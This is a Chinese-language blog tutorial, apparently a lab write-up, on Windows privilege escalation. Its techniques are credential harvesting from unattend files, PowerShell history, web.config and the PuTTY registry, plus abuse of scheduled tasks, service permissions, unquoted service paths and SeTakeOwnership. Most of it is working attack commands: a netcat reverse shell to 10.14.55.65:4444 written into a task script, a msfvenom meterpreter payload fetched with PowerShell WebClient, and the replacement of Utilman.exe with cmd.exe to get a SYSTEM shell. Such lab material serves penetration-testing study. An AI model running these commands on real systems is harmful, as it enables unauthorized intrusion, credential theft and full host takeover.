Windows权限提升的各种方式

权限提升

特权升级包括使用“用户 A”对主机的给定访问权限,并利用它通过滥用目标系统中的弱点来获得对“用户 B”的访问权限。虽然我们通常希望“用户 B”拥有管理权限,但在实际获得管理权限之前,我们可能需要升级到其他非特权帐户,根据情况,我们可能需要利用以下一些弱点:

  • Windows 服务或计划任务配置错误
  • 分配给我们帐户的过多权限
  • 易受攻击的软件
  • 缺少 Windows 安全补丁

Windows用户

Windows系统主要 有 两类用户,可以将这些用户用归类为以下组之一:任何具有管理权限的用户都将成为Administrators组的一部分。另一方面,标准用户是用户组的一部分。

Administrators	  这些用户拥有最多的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。
Standard Users 		这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久或必要的更改,并且仅限于他们的文件。

除此之外,我们通常会听到操作系统在特权升级上下文中使用的一些特殊内置帐户:

  • SYSTEM / LocalSystem: 操作系统用来执行内部任务的帐户。它可以完全访问主机上可用的所有文件和资源,甚至比管理员拥有更高的权限。
  • Local Service:用于以“最低”权限运行 Windows 服务的默认帐户。它将通过网络使用匿名连接。
  • Network Service:用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。

凭据收集

无人值守的 Windows 安装

在大量主机上安装 Windows 时,管理员可能会使用 Windows 部署服务,它允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,这些设置最终可能会存储在计算机中的以下位置:

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

作为这些文件的一部分,可能会遇到这些凭据:

<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>

Powershell History

每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。
其中%userprofile%为cmd.exe的环境变量,$Env:userprofile为powershell的环境变量

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

IIS 配置

Internet Information Services (IIS) 是 Windows 安装上的默认 Web 服务器。IIS 上的网站配置存储在一个名为的文件中web.config,
可以存储数据库密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

这是在文件中查找数据库连接字符串的快速方法:

type C:\Windows\xxxx\web.config | findstr connectionString

从软件中收集凭据

任何存储密码的软件,包括浏览器、电子邮件客户端、FTP客户端、SSH 客户端、VNC 软件等,都将有方法恢复用户保存的任何密码。这里以PuTTY为例子
PuTTY 是 Windows 系统上常见的 SSH 客户端。但它会存储包括明文身份验证凭据的代理配置。
要检索存储的代理凭据,使用以下命令在以下注册表项下搜索 ProxyPassword:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

滥用服务配置错误

在某些情况下甚至可以获得管理员访问权限,如果您认为这些更多地属于 CTF 事件领域而不是您在实际渗透测试过程中会遇到的场景,那将会有所帮助。

计划任务

查看全部计划任务,以视图模式

schtasks /query /fo LIST /v

image.png
过滤存在有漏洞的计划任务

schtasks /query /fo list /v|findstr vulntask

image.png
指定vulntask任务 查询详细信息

schtasks /query /tn vulntask /fo list /v

在这里我们发现了有一个定时任务的脚本,运行所有者是:taskusr1
image.png
查看一下这个文件的权限

icacls C:\tasks\schtask.bat

可以看见普通用户具有所有权
image.png
修改脚本内容改为恶意的反向shell

echo C:\tools\nc64.exe -e cmd.exe 10.14.55.65 4444 >  C:\tasks\schtask.bat

image.png
这时候攻击机监听4444端口
image.png
当有权限的时候,可以直接运行任务。如果权限不足,就只能等待任务运行了

schtasks /run /tn vulntask

可以看见任务运行成功
image.png
这时候返回攻击机,可以看见4444端口接收到了一个为wprivesc1\taskusr1的权限
image.png

服务可执行文件的不安全权限

显示每个进程中的服务信息

tasklist /svc 

image.png
我们查看一下这个服务名的详细信息

sc qc WindowsScheduler

image.png
执行该文件的用户为svcusr1,该服务关联的可执行文件位于 C:\Progra2\System1\WService.exe

漏洞成因

  • 检查可执行文件的权限
icacls C:\Progra~2\System~1\WService.exe

image.png
可以看见普通用户拥有,可读可写的权限。Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着可以将恶意payload进行替换

  • 使用MSF生成一个为Windows服务的恶意文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.14.55.65 -f exe-service -o a.exe

image.png
然后开启http服务

python3 -m http.server

返回受害者界面,下载恶意文件

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/a.exe','a.exe')"

这时候修改文件名,将恶意文件替换

move C:\Progra~2\System~1\WService.exe C:\Progra~2\System~1\WService.bkp
move a.exe C:\Progra~2\System~1\WService.exe

image.png
最后修改恶意文件的Everyone为完全权限

icacls C:\Progra~2\System~1\WService.exe /grant Everyone:F

image.png
最后重新运行服务

sc stop 服务名
sc start 服务名

image.png
最后返回MSF监听器,可以看见成功拿到了该服务所有者的权限
image.png

未引用的服务路径

原理

使用 Windows 服务时,当服务配置为没有正确使用引号引起空格的时候,会发生一些这种情况

C:\Wdinwows\hh hh\a.exe  		//本来要执行的文件
C:\Windows\hh.exe						//攻击者创建的恶意文件,将会被Windows服务当作要执行的文件执行

演示

我们可以看这个例子

sc qc Disk Sorter Enterprise
sc qc "Disk Sorter Enterprise"

一个是我们不想找的例子,但是居然查询到了服务,另一个是我们本次案例的例子,使用了双引号才查询到了带有空格的服务路径。
image.png
查看该服务执行文件下的路径,查看是否具有创建文件的权限

icacls  C:\MyPrograms\

可以看见普通用户拥有创建文件的权限
image.png
攻击机监听端口
image.png
这时候下载之前,已经生成好的MSF的有效payload

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/a.exe','a.exe')"

修改文件名

move a.exe C:\MyPrograms\Disk.exe

image.png
授权Everyone对该文件拥有完全权限

icacls C:\MyPrograms\Disk.exe /grant Everyone:F

image.png
这时候我们重新启动服务

sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"

成功拿到该执行文件所有者的权限了
image.png

不安全的服务权限

使用微软自带的工具查看服务的权限

https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk

查看 thmservice 服务的权限

accesschk64.exe -qlc thmservice

image.png
当普通用户权限为SERVICE_CHANGE_CONFIG或者SERVICE_ALL_ACCESS时,这意味着任何用户都可以重新配置该服务。
让我们查看一下该服务的详细信息

sc qc thmservice

image.png
由于我们具有重新配置该服务的权限,也意味着可以通过修改二进制路径为恶意的payload时,将会触发漏洞

>sc config THMService binpath="C:\tools\AccessChk\a.exe" obj=LocalSystem

最后重新启动服务,
image.png
可以看见MSF成功接受到shell,且权限为System
image.png

滥用危险权限

SeTakeOwnership

SeTakeOwnership 权限允许用户取得系统上任何对象的所有权,包括文件和注册表项,为攻击者提升权限提供了许多可能性。

漏洞成因

这里以System权限打开
image.png
查看该用户所拥有的权限

whoami /priv

image.png
utilman.exe是我们将滥用权限升级的目标。Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:
image.png
由于 Utilman 以 SYSTEM 权限运行,如果我们将原始二进制文件替换为我们喜欢的任何 payload,将有效地获得 SYSTEM 权限。由于我们可以获得任何文件的所有权,因此替换它是微不足道的。
要替换 utilman,我们将首先使用以下命令获取它的所有权:

takeown /f C:\Windows\System32\Utilman.exe

可以发现该用户是文件的所有者,作为文件的所有者并不一定意味着拥有文件的特权,但是我们作为该文件的所有者可以为自己分配所需的任何特权
image.png
然后使用以下命令对该用户分配所有权

icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

image.png
最后使用cmd.exe的副本 替换Utilman.exe

copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe

image.png
当我们锁定用户的时候
image.png
点击轻松访问,可以看见我们获得一个新的会话,权限为system
image.png

滥用软件存在的漏洞

收集的有关已安装软件的信息

wmic product get name,version,vendor

image.png

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值